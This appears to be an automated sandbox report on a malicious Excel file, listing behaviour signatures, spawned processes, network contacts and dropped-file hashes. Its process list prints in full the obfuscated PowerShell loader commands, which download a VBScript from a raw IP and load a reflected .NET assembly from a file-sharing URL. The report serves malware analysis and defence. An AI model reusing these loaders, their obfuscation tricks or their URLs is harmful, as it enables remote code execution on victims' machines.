Analysis Overview
SHA256
4dc101b0b6fe54eb411577729f39253ad9a33cad9f0eca212ea4f3d786881ba4
Threat Level: Known bad
The file 4dc101b0b6fe54eb411577729f39253ad9a33cad9f0eca212ea4f3d786881ba4.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Evasion via Device Credential Deployment
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops file in System32 directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Uses Volume Shadow Copy service COM API
Uses Volume Shadow Copy WMI provider
Uses Task Scheduler COM API
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Enumerates system info in registry
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 02:22
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 02:22
Reported
2024-11-13 02:24
Platform
win7-20240903-en
Max time kernel
141s
Max time network
142s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WScript.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4dc101b0b6fe54eb411577729f39253ad9a33cad9f0eca212ea4f3d786881ba4.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE
"C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qqu9i2ag.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF25B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF25A.tmp"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4t.gg | udp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 8.8.8.8:53 | r10.o.lencr.org | udp |
| GB | 2.23.210.82:80 | r10.o.lencr.org | tcp |
| US | 198.46.178.192:80 | 198.46.178.192 | tcp |
| KR | 221.146.204.133:443 | 4t.gg | tcp |
| US | 198.46.178.192:80 | 198.46.178.192 | tcp |
| US | 198.46.178.192:80 | 198.46.178.192 | tcp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.117.18:80 | crl.microsoft.com | tcp |
Files
memory/264-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/264-1-0x0000000072AAD000-0x0000000072AB8000-memory.dmp
memory/2732-16-0x0000000002760000-0x0000000002762000-memory.dmp
memory/264-17-0x00000000024F0000-0x00000000024F2000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CB467543952BE6B5200B9CADEB942CD1
| MD5 | fca2d4075e78fd8330d5590ee560451b |
| SHA1 | b7ab976b0f45facd4a29a6aded52515523cd756b |
| SHA256 | 9f9f330b74a23eac5552db138565085b9a57c32dc746c3ad230659ad37ddc689 |
| SHA512 | f0adf4b6d64229f3c8dee585a80a7e8e1614251318be226bbf5af21779bf7ffac0d9f9858525e5388f00b9547984dae737d022d0cce4ba4c66936383bf55f991 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CB467543952BE6B5200B9CADEB942CD1
| MD5 | f0d5992490404da01be658fb9c891a1b |
| SHA1 | 06d4ec769c177a4cd9f66352efdcb741e341a3ce |
| SHA256 | 3ab6fc90aa8ccdb7117c9423c8c2728dc40266707c24a5f37a547768d97fed2e |
| SHA512 | 293007303740c76bb95770ac6d85695a86a904d788b4e7c79b1ed5d371d24bfa8421efe253381df4e387586d2ccb8d0f3bb0bccad3406a3df784d13f515ab3a7 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | bb90146736d39a0674f3e9045d578df8 |
| SHA1 | ac9c90a1a8cbabba7b4a5b7cff03a4396f0d00a6 |
| SHA256 | bc4d9b7afcf555d02f18def261750c6053b75a972564e5ac3287e8d933da2aa1 |
| SHA512 | 7053a1d3c142fe2274b6c7c22906cb5440196875931c9fb7166b4a07f9f7c448be996b9caa413a520c6240fe9d8ae2318ae471b52d6e0bc22d82cab4b4fa6010 |
C:\Users\Admin\AppData\Local\Temp\CabEA8E.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\WCATT3E5\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat[1].hta
| MD5 | 2c5e1bbd5dc89095610f5ba7397189b1 |
| SHA1 | b1d36282dbe4cfcec1de5d18afc85dc41dee399a |
| SHA256 | 0b45ec52f8d182e2e8b0ab32856f06b9b58ccdb1012b7c9061f8afd1fe7cab87 |
| SHA512 | 1f42fafc7b77a8862a22f818ff22e5e95cc4233326a9d0e469a98ce245b938e67675268f41233e1ee1167b418378994e209b6d381eee74b9e607ba1e34ec550c |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c2af26044b8a0b1d2c1b632d2f5cd3de |
| SHA1 | 0c34b26fdc736c6683cb235f7fb6637a0dba2fad |
| SHA256 | 7f056250b3cf070e6c0c2ccbd33205b2f873006d85676167ac84123c7d6fd57a |
| SHA512 | 1e7a0426445cf10554d48e304447207bf35455202f9fc1d2a3f236438bd2d2f5b326ec73e8a83287dd4a58fae232920f7962d3b3e50818cf22e71851d65614d8 |
\??\c:\Users\Admin\AppData\Local\Temp\qqu9i2ag.cmdline
| MD5 | ef4f21a02bba9df2ac6c639873a05b7c |
| SHA1 | 67886120f0e0c009d12ba39c7aa384d71b0e3abc |
| SHA256 | 744581f7045824c8b6249cbc76a9b250f4cec4d80d2341570bdc9f1551abfa24 |
| SHA512 | c717a994dee89c7f5e3b6e63e3e93ee4b28f0a67b00b1e537a55b7c538fccb5e029ec2da686b36b2d798b3758ee73e716588f18d5f5d77a6a6bf4cb60d9a01fe |
\??\c:\Users\Admin\AppData\Local\Temp\qqu9i2ag.0.cs
| MD5 | f8f40cf06d8b2ceb49d38fdf52e8ecc0 |
| SHA1 | 1ff0676c6503f21f4899ba1cbc30351318403804 |
| SHA256 | 39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2 |
| SHA512 | 020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCF25A.tmp
| MD5 | 8a7fc637ef80e063d88435b12afc1d5b |
| SHA1 | 78bc9dba86aecd8147639f8784e764e1ec6655e0 |
| SHA256 | cc4cabfac94ebeccbdf74a162a8ecac6d1a77f5f9e18a888c3abd5210bde620c |
| SHA512 | a4dcaacd47cf4c8f2f6f8fb56c6c33b1fd2742e05a51280b2543f4ab2683201d9da998c47761174d0abed161431dfab1ca6855dd97d6d746165b1ce2284f9dfa |
C:\Users\Admin\AppData\Local\Temp\RESF25B.tmp
| MD5 | 0c83f69c4c72dd0cf80b8f955c4c920d |
| SHA1 | a3295b28cea16afa382a8620409f7f1cde97ec38 |
| SHA256 | b779e4693a1e81e9b955003d35c3e40aa0f935b0903ae1973281a9cd6ba0e666 |
| SHA512 | 06c78c6c50d9500c01d18a912eed77562bede5e3ac5bce4871df63a5373dd8c6eedb0e6d7722cb6c66689e178ce6d3896a532edf9f725a4a1c483ef87cfa9431 |
C:\Users\Admin\AppData\Local\Temp\qqu9i2ag.dll
| MD5 | 837cdaa739698a19b4997b833198e9a3 |
| SHA1 | 4059b9ba87da9fecf977cbde86e56c7342518ed6 |
| SHA256 | eb8760b1916f3c4e1c295a6719b79f2d3da48dd52be4b0d09769c823b5b2f377 |
| SHA512 | 77314ffefc4e1dc8e96450765998559d5d66dd8e89a9360eca93ba07d08212c94517b5340de944af6eddc9d73bcfee3c843e4050c5857098c2c2363c0ac74635 |
C:\Users\Admin\AppData\Local\Temp\qqu9i2ag.pdb
| MD5 | 3eca96d920fda152288875646e40dc69 |
| SHA1 | 73339f4e8cddbedb884fa767b0cdc6d085e938f2 |
| SHA256 | 01a088fc8a23e5cb91d65efa88cadac1cb04db28a894fad0af296630f6b6058d |
| SHA512 | 83c29d78ac7d00a498d75282ad158469bdebdd1f25468b30021f9a415d8e2f9b8ee1664e051104d498022e8b16bfa523a3b1b0d74758837b3c3bdb97ba7de7ab |
memory/264-60-0x0000000072AAD000-0x0000000072AB8000-memory.dmp
C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS
| MD5 | 1860dcae987d5ed903d93a6cfc698eaf |
| SHA1 | aaee36eb86bd7c80fd0ae9328bea5650f8c74d12 |
| SHA256 | d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3 |
| SHA512 | 73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 02:22
Reported
2024-11-13 02:24
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
